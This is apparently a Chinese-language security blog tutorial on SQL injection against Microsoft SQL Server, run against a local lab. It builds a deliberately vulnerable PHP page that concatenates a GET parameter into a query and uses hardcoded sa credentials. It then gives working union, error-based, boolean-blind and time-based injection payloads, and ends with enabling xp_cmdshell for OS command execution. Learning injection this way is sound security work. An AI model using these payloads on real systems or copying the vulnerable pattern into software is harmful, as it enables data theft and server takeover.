基于SqlServer的SQL注入
发表于:2025-07-09 | 分类: Web

基于SqlServer的SQL注入

前言

最近面试了几家实习,都问了基于SqlServer的SQL注入,所以今天想补一下基础。

SqlServer搭建

搭建SqlServer,我们的环境和版本如下:

  • Windows Server 2012
  • SqlServer 2012

这里的SqlServer环境搭建比较简单,可以参考该链接进行安装 https://blog.csdn.net/gengkui9897/article/details/89301494

SqlServer基础

Microsoft SQL Server(微软结构化查询语言服务器)也叫Mssql,它是一个数据库平台,提供数据库的从服务器到终端的完整的解决方案,其中数据库服务器部分,是一个数据库管理系统,用于建立、使用和维护数据库。属关系型数据库。默认端口号为1433。

默认数据库

安装好SqlServer后,SqlServer数据库中会有6个默认的库,用于维护系统正常运行的系统数据库,其中包括四个系统数据库:master 、model 、msdb 、tempdb ,和两个实例数据库:ReportServer、ReportServerTempDB

系统数据库:

  • master:记录了SqlServer实例的所有系统级消息,包括实例范围的元数据(如登录账号、端点、链接服务器和系统配置设置)
  • msdb:供SqlServer代理服务调度报警和作业记录操作员的使用,保存关于调度报警、作业、操作员等信息
  • model:SqlServer实例上创建的所有数据库的模板
  • tempdb:临时数据库,用于保存临时对象或中间结果集,为数据库的排列等操作提供一个临时的工作空间

实例数据库:

  • ReportServer:存储SSRS配置部分,报告定义,报告元数据,报告历史,缓存政策,快照,资源,安全设置,加密的数据,调度和提交数据,以及扩展信息
  • ReportServerTempDB:存储中间处理产品,例如缓冲的报告、会话和执行数据等

数据库的组成

在SqlServer中,数据库是以文件的形式存在的,由文件和文件组组成

文件

数据库中的文件基本是分为以下三类:

  • 主要数据文件:存放数据和数据库的初始化信息。每个数据库有且只能有一个主要数据文件.mdf结尾
  • 次要数据文件:存放除了主要数据文件以外的所有数据文件。次要数据文件不是必须的,可以没有,也可以有多个.ndf结尾
  • 事务日志文件:存放用户回复数据库的所有文件信息。每个数据库至少有一个日志文件,也可以有多个.ldf结尾

文件组

文件组是数据库文件一种逻辑管理单位,他将数据库文件分成不同的文件组,方便对文件的分配和管理,分为两种类型:

  • 主文件组Primary:主要是数据文件和没有明确指派给其他文件组的文件
  • 用户自定义的文件组:Create DataBase 或者 Alter DataBase语句,FileGroup关键字指定的文件组

设计原则

SqlServer数据库的设计原则如下

  • 文件只能是一个文件组的成员
  • 文件或文件组不能由多个数据库使用
  • 日志不能作为文件组的一部分

SqlServer权限

sqlserver中的权限控制被分成服务器和数据库两个级别,一个服务器可以包含多个数据库。服务器级别权限可以让我们控制登录、服务器资源操作等等;数据库级别的权限可以让我们对具体的表\视图\数据等数据库内资源进行操作。

在SQL注入的漏洞挖掘中,我们关注的是sqlserver服务器级别的权限,可以把权限简单的归为以下三类:

  • **sa权限:**即服务器角色sysadmin。拥有数据库操作,文件管理,命令执行,注册表读取等权限。SQLServer数据库的最高权限
  • **db权限:**文件管理,数据库操作等权限 users-administrators
  • **public权限:**数据库操作 guest-users

如果我们找到一个SqlServer数据库的注入点,可以通过以下命令判断当前用户的权限,查询语句返回1,说明是对应的权限。

1
2
3
4
5
6
--判断是否是SA权限
select is_srvrolemember('sysadmin')
--判断是否是db_owner权限
select is_member('db_owner')
--判断是否是public权限
select is_srvrolemember('public')

T-SQL语言

在mysql数据库中使用sql语句对数据库进行操作,而在sqlserver数据库中使用的是Transaction-SQL语言,简称T-SQL。T-SQL是在SQL基础之上的一种数据库编程语言。

在这篇文章中,我们基于增删改查和创建数据库去简单了解T-SQL语言

创建数据库

用T-SQL去创建名为SQLDB的数据库,语句如下

1
CREATE DATABASE SQLDB;

如果希望对数据库的文件路径、大小、增长方式等进行配置,可以使用以下命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
CREATE DATABASE SQLDB
ON PRIMARY (
NAME = SQLDB_data,
FILENAME = 'C:\MSSQL\DATA\SQLDB_data.mdf',
SIZE = 10MB,
MAXSIZE = 100MB,
FILEGROWTH = 5MB
)
LOG ON (
NAME = SQLDB_log,
FILENAME = 'C:\MSSQL\DATA\SQLDB_log.ldf',
SIZE = 5MB,
MAXSIZE = 50MB,
FILEGROWTH = 5MB
);

创建表

用T-SQL在SQLDB中新建表,新建表的时候要同时指明字段信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
-- 切换到 SQLDB 数据库
USE SQLDB;
GO

-- 创建一个名为 Employees 的表
CREATE TABLE Employees (
EmployeeID INT PRIMARY KEY IDENTITY(1,1), -- 员工ID,主键,自增
FirstName NVARCHAR(50) NOT NULL, -- 名,最大50字符,不能为空
LastName NVARCHAR(50) NOT NULL, -- 姓,最大50字符,不能为空
BirthDate DATE NULL, -- 出生日期,可以为空
HireDate DATE NOT NULL, -- 入职日期,不能为空
Email NVARCHAR(100) UNIQUE, -- 邮箱,唯一约束,可为空
Salary DECIMAL(10, 2) CHECK (Salary >= 0) -- 工资,保留两位小数,必须为非负数
);

增删改查

插入数据

使用Insert向该表中插入数据,可以使用以下命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
-- 切换到 SQLDB 数据库
USE SQLDB;
GO

-- 向 Employees 表插入一条记录(不包括自增主键 EmployeeID)
INSERT INTO Employees (FirstName, LastName, BirthDate, HireDate, Email, Salary)
VALUES (
'John', -- FirstName
'Doe', -- LastName
'1985-06-15', -- BirthDate
'2020-01-10', -- HireDate
'john.doe@example.com',-- Email
5500.00 -- Salary
);

删除数据

使用DELETE删除名为John Doe的员工,命令如下

1
2
3
-- 删除名为 John Doe 的员工
DELETE FROM Employees
WHERE FirstName = 'John' AND LastName = 'Doe';

修改数据

修改名为Sean Doe的员工的薪资,修改为6000.00

1
2
3
4
-- 修改名为 Sean Doe 的员工薪资为 6000.00
UPDATE Employees
SET Salary = 6000.00
WHERE FirstName = 'Sean' AND LastName = 'Doe';

查询数据

查询数据的所使用的语句基本结构如下

后续进行SQL注入时,使用查询语句的频率最高

1
2
3
4
5
6
SELECT <列名1>, <列名2>, ...
FROM <表名>
[WHERE <筛选条件>]
[GROUP BY <分组列>]
[HAVING <分组后的筛选条件>]
[ORDER BY <排序列> [ASC|DESC]];

这里我们举个例子,可以使用以下 T-SQL 语句来查询名为 Sean Doe 的员工的邮箱和薪资信息

1
2
3
SELECT Email, Salary
FROM Employees
WHERE FirstName = 'Sean' AND LastName = 'Doe';

SqlServer手工注入

MSSQL注入攻击是最为复杂的数据库攻击技术,由于该数据库的功能十分强大,存储过程以及函数语句十分丰富,这些灵活的语句造就了新颖的攻击思路。

对于MSSQL注入点,我们往往最关心的是这个注入点的权限问题,上面讲过,对于MSSQL有以下三个权限:

  1. sa(最高权限 System)
  2. db(文件管理、数据库操作等等 user-administrator)
  3. public(数据库操作权限 guest-users)

常见搭配为:asp/aspx + sqlserver

环境搭建

实验环境:
  • SqlServer 2012
  • phpstudy 2018
  • php7.3.4

首先在数据库中创建数据库,创建数据表和插入输入等操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
-- 第一步:创建数据库
USE master;
GO
CREATE DATABASE SchoolDB;
GO

-- 第二步:切换到该数据库
USE SchoolDB;
GO

-- 第三步:创建学生表
CREATE TABLE Students (
StudentID INT PRIMARY KEY NOT NULL, -- 学号,主键
StudentName NVARCHAR(50) NOT NULL, -- 姓名
Age INT NOT NULL, -- 年龄
Class NVARCHAR(50) NOT NULL -- 所在班级
);

-- 第四步:插入示例学生数据
INSERT INTO Students (StudentID, StudentName, Age, Class)
VALUES
(101, '张三', 16, '高一1班'),
(102, '李四', 17, '高一2班'),
(103, '王五', 16, '高一1班');
GO

需要在phpstudy中添加sqlsrv扩展,下载链接https://learn.microsoft.com/en-us/sql/connect/php/release-notes-php-sql-driver?view=sql-server-ver15#previous-releases

因为我这里是php7.3.4版本,我们需要将这两个文件放到C:\phpstudy_pro\Extensions\php\php7.3.4nts\ext目录下

并在php.ini文件中添加这两行配置

1
2
extension=php_sqlsrv_63_nts.dll
extension=php_pdo_sqlsrv_73_nts.dll

进入phpinfo界面后,可以看到我们的sqlsrv扩展就已经配置好了

除此之外,还需要去安装ODBC Driver,链接如下(64位电脑安装64位驱动即可)

https://files.cnblogs.com/files/wtcl/sqlserverodbc.zip

在网站目录下,创建一个进行sql查询的php文件,源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
header("Content-Type:text/html;charset=gbk");

// 数据库连接
$conn = sqlsrv_connect('127.0.0.1', array(
'Database' => 'SchoolDB',
'UID' => 'sa',
'PWD' => '@sql123'
));

// 连接失败时输出错误
if ($conn === false) {
var_dump(sqlsrv_errors());
exit;
}

// 获取 GET 参数 id(注意:这是一个注入测试场景)
$id = $_GET["id"];

// 拼接 SQL 语句
$sql = "SELECT * FROM Students WHERE StudentID = $id";
echo "SQL Server injection exercise!<br/><br/>";
echo "sql: " . $sql . "<hr>";

// 执行查询
$result = sqlsrv_query($conn, $sql);
var_dump(sqlsrv_errors());
echo "<hr>";

// 输出结果
if ($re = sqlsrv_fetch_array($result, SQLSRV_FETCH_ASSOC)) {
echo "学号:" . $re['StudentID'] . "<br/>";
echo "姓名:" . $re['StudentName'] . "<br/>";
echo "年龄:" . $re['Age'] . "<br/>";
echo "班级:" . $re['Class'] . "<br/>";
} else {
echo "未找到该学生。";
}
?>

这样环境就配置好了,访问http://192.168.41.131:8080/SqlServer.php?id=101

常见注入函数和关键字

以下是在SQL注入中常用的函数与关键字

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//TOP 对标与MSSQL中的limit,想要输出一条信息 TOP 1 ,输出两条 TOP 2
SELECT TOP 2 StudentName FROM STUDENTS
//@@version 获取版本信息
SELECT @@version
//db_name 获取数据的名字
SELECT db_name()
//OBEJCT_ID 获取表对象ID
OBJECT_ID('表名')
//col_name table_id表对象ID column_id 列的序号
COL_NAME ( table_id , column_id )
//convert 把日期转换成新数据类型的通用函数
CONVERT(data_type(length),data_to_be_converted,style)
//stuff 删除字符串中的一部分内容,用另一个字符串替代
stuff( character_expression , start , length , replaceWith_expression )
//len 返回目标字符串的长度
len(select db_name())
//SUBSTRING 用于从字符串中提取指定位置的一部分
SUBSTRING(expression, start, length)

注入手法

注入手法总的来说和Mysql差不多,差别在于一些函数的区别

联合查询

在MSSQL数据库中会存在一个系统自带库–>master,每个库都存在一个系统自带表–>sysobjects。该系统表中对于我们来说有三个字段有用:

  • NAME:表名信息
  • XTYPE: 代表 表的类型,S代表系统自带表,U代表用户创建表
  • ID:用于连接syscolumns表

首先判断目标数据库是否是MSSQL数据库

1
SqlServer.php?id=101 and exists(select * from sysobjects) --+

返回正常说明网站使用的数据库是MSSQL

联合注入中必要的一步就是判断字段长度,当order by 4回显正常,但order by 5报错时,表明字段长度是3

1
2
SqlServer.php?id=101 order by 4 --+  正常
SqlServer.php?id=101 order by 5 --+ 报错

接下来就是寻找字符串的回显位置(前面select语句查询为空时,才会回显联合查询的东西)

可以看到,四个回显位均可以利用(正常渗透中,回显位不固定)

1
SqlServer.php?id=0 union select 1,2,3,4 --+ 

查询当前数据库的版本信息和名字

1
SqlServer.php?id=0 union select 1,db_name(),3,@@version --+ 

此处需要注意,当联合注入的数据和前半部分的数据类型不匹配时,会出现报错

查询表名,将获取到的数据库名和.dbo.sysobjects进行拼接,通过限制xtype为u,使用TOP 1进行限制,找出第一条查询到的用户创建表

1
SqlServer.php?id=0 union select 1,2,3,(select top 1 name from SchoolDB.dbo.sysobjects where xtype='u') --+ 

查询第二条表名数据时,可以使用and name != '第一次输出中的表名'的方式

1
SqlServer.php?id=0 union select 1,2,3,(select top 1 name from SchoolDB.dbo.sysobjects where xtype='u' and name != 'STUDENTS') --+ 

获取列名,通过col_name、object_id等函数,遍历获取列名

1
2
3
4
SqlServer.php?id=0 union select 1,2,3,(select top 1 col_name(object_id('STUDENTS'),1) from sysobjects)--+
SqlServer.php?id=0 union select 1,2,3,(select top 1 col_name(object_id('STUDENTS'),2) from sysobjects)--+
SqlServer.php?id=0 union select 1,2,3,(select top 1 col_name(object_id('STUDENTS'),3) from sysobjects)--+
...

获取数据,这里获取StudentID字段的数据

1
2
3
SqlServer.php?id=0 union select 1,2,3,(select top 1 StudentID from STUDENTS)--+
SqlServer.php?id=0 union select 1,2,3,(select top 1 StudentID from STUDENTS WHERE StudentID != 101)--+
SqlServer.php?id=0 union select 1,2,3,(select top 1 StudentID from STUDENTS WHERE StudentID != 101 and StudentID != 102)--+

报错注入

上面我们说过,MSSQL数据库是强类型语言数据库,当类型不一样时,会报错,配合子查询即可实现报错注入。可以利用的函数有以下这些:

1
2
3
4
5
6
7
8
9
convert() 
file_name()
db_name()
col_name()
filegroup_name()
object_name()
schema_name()
type_name()
cast()

这里我们使用convert函数作为演示,convert函数语法如下

1
2
3
4
5
CONVERT(data_type(length),data_to_be_converted,style)
--注释 :
data_type(length) 转换为⽬标数据类型(带有可选的长度)
data_to_be_converted 含有需要转换的值
style 规定⽇期/时间的输出格式(可省略)

对于convert(int,@@version),convert函数会首先执行第二给参数指定的SQL查询,然后尝试将查询结果转为int类型。但是由于查询语句查询出来的结果时varchar类型,无法转为指定的int类型,因此convert函数会爆出一个SQLSever的错误消息,格式是"SQL查询结果"无法转换为"int"类型,这样攻击者就可以利用报错来获取到SQL的查询结果

1
SqlServer.php?id=101 and 1=convert(int,db_name())

除了使用函数以外,在两个不同类型的数据进行比较时,也会爆出SqlServer的错误信息,也是一种利用方法

1
SqlServer.php?id=101 and 1=(select db_name())

首先查询数据库名

1
2
3
4
//查询当前数据库
SqlServer.php?id=101 and 1=(select db_name(0))
//查询第二个数据库
SqlServer.php?id=101 and 1=(select db_name(1))

这里我们可以通过for xml path,查询所有数据库的名字,FOR XML PATH('') 表示输出 XML,但不加任何标签。通常可以配合stuff()使用,用来拼接多个值并去除第一个多余分隔符

1
SqlServer.php?id=101 and 1=convert(int,stuff((select quotename(name) from sys.databases for xml path('')),1,0,''))--

爆出所有表名,但是其中存在一些系统表,可以通过xtype='U'来过滤出用户表

1
SqlServer.php?id=101 and 1=convert(int,stuff((select quotename(name) from sysobjects WHERE xtype = 'U' for xml path('')),1,0,'')) --+

接下来就是爆出Students表的所有字段

1
SqlServer.php?id=101 and  1=convert(int,stuff((select quotename(name) from SchoolDB.sys.columns where object_id=object_id('Students') for xml path('')),1,0,'')) --

最后爆数据即可

1
SqlServer.php?id=101 and 1=convert(int,stuff((select quotename(StudentID) from Students for xml path('')),1,0,''))--

剩下的报错函数原理也是相似的,读者可以自行查阅资料

布尔盲注

如果存在没有回显位 或者 不能直接通过页面返回内容查看数据库信息时,我们就可以通过布尔盲注去查询信息。页面会根据用户输入只回显true和flase,则可以通过构造逻辑判断来得到想要的信息

首先需要我们去判断是存在盲注,使用以下注入语句测试

1
2
3
4
//正常回显
SqlServer.php?id=101 and 1=1--+
//不正常回显
SqlServer.php?id=101 and 1=2--+

不管是对于数据库名、表名还是列名的盲注,流程都是相类似的

首先猜解数据库名的长度,正常回显时,说明我们的判断是正确的

1
2
3
4
//回显正常
SqlServer.php?id=101 and len((select db_name()))=8--+
//不正常回显
SqlServer.php?id=101 and len((select db_name()))=4--+

猜解数据库名字,

1
2
3
4
//获取数据库名的第一个字符ascii码为83
SqlServer.php?id=101 and ascii(substring((select db_name()),1,1))=83 --
//获取数据库名的第一个字符ascii码为99
SqlServer.php?id=101 and ascii(substring((select db_name()),1,1))=99 --

后续的表名、列名和数据,只需要替换响应的SQL语句即可

延时注入

这里主要是使用WAITFOR DELAY '0:0:n'这个语句表示要延迟几秒,他的作用就是等待待定时间,然后再执行后续语句。如果将该语句成功注⼊后,会造成数据库返回记录和 Web请求也会响应延迟特定的时间。由于该语句不涉及条件判断等情况,所以容易注⼊成功。根据Web请求是否有延迟,渗透测试⼈员就可以判断网站是否存在注⼊漏洞。同时,由于该语句并不返回特定内容,所以它也是盲注的重要检测⽅法。

利用该注入语句,可以判断此处是否存在延时注入

观察浏览器f12,观察时间确认成功延时,代表存在漏洞

1
SqlServer.php?id=101 WAITFOR DELAY '0:0:5' --

后续利用和布尔注入相类似,判断数据库名长度

1
SqlServer.php?id=101 if (len((select db_name()))=8) WAITFOR DELAY '0:0:5' --+ 

然后一个字符一个字符进行猜解数据库名

1
SqlServer.php?id=101 if (ascii(substring((select db_name()),1,1))=83) WAITFOR DELAY '0:0:5'-- 

后续只需要替换SQL语句查询点,就可以注入其他数据

SqlServer命令执行

MSSQL数据库中,存在xp_cmdshell函数:SQL中运行系统命令行的系统存储过程,允许 SQL Server 以服务账户的身份执行 Windows 命令或外部程序。如果该命令开启时,我们就可以执行系统命令。

我们现在在判断了网站权限是sa权限后,想要执行系统命令,就先要判断xp_cmdshell是否存在,当页面正常返回时,说明该命令是开启的

1
SqlServer.php?id=101 and 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')

xp_cmdshell默认在mssql2000中是开启的,在mssql2005后版本默认禁止。2005的xp_cmdshell的权限一般是system,而2008多数为nt authority\network service

但是如果有管理员sa权限,则可以用sp_configure重新开启

1
2
3
4
5
6
开启 xp_cmdshell:
exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell',1;reconfigure;
关闭 xp_cmdshell:
exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell', 0;reconfigure

可以使用堆叠的方式进行执行命令,但是有些命令的执行需要较高权限

1
SqlServer.php?id=101 ;exec master..xp_cmdshell "命令"

通过运行whoami,可以看到sqlserver的权限为nt service\mssqlserver

上一篇:
CVE-2025-6218 WinRAR路径穿越
下一篇:
CVE-2025-24813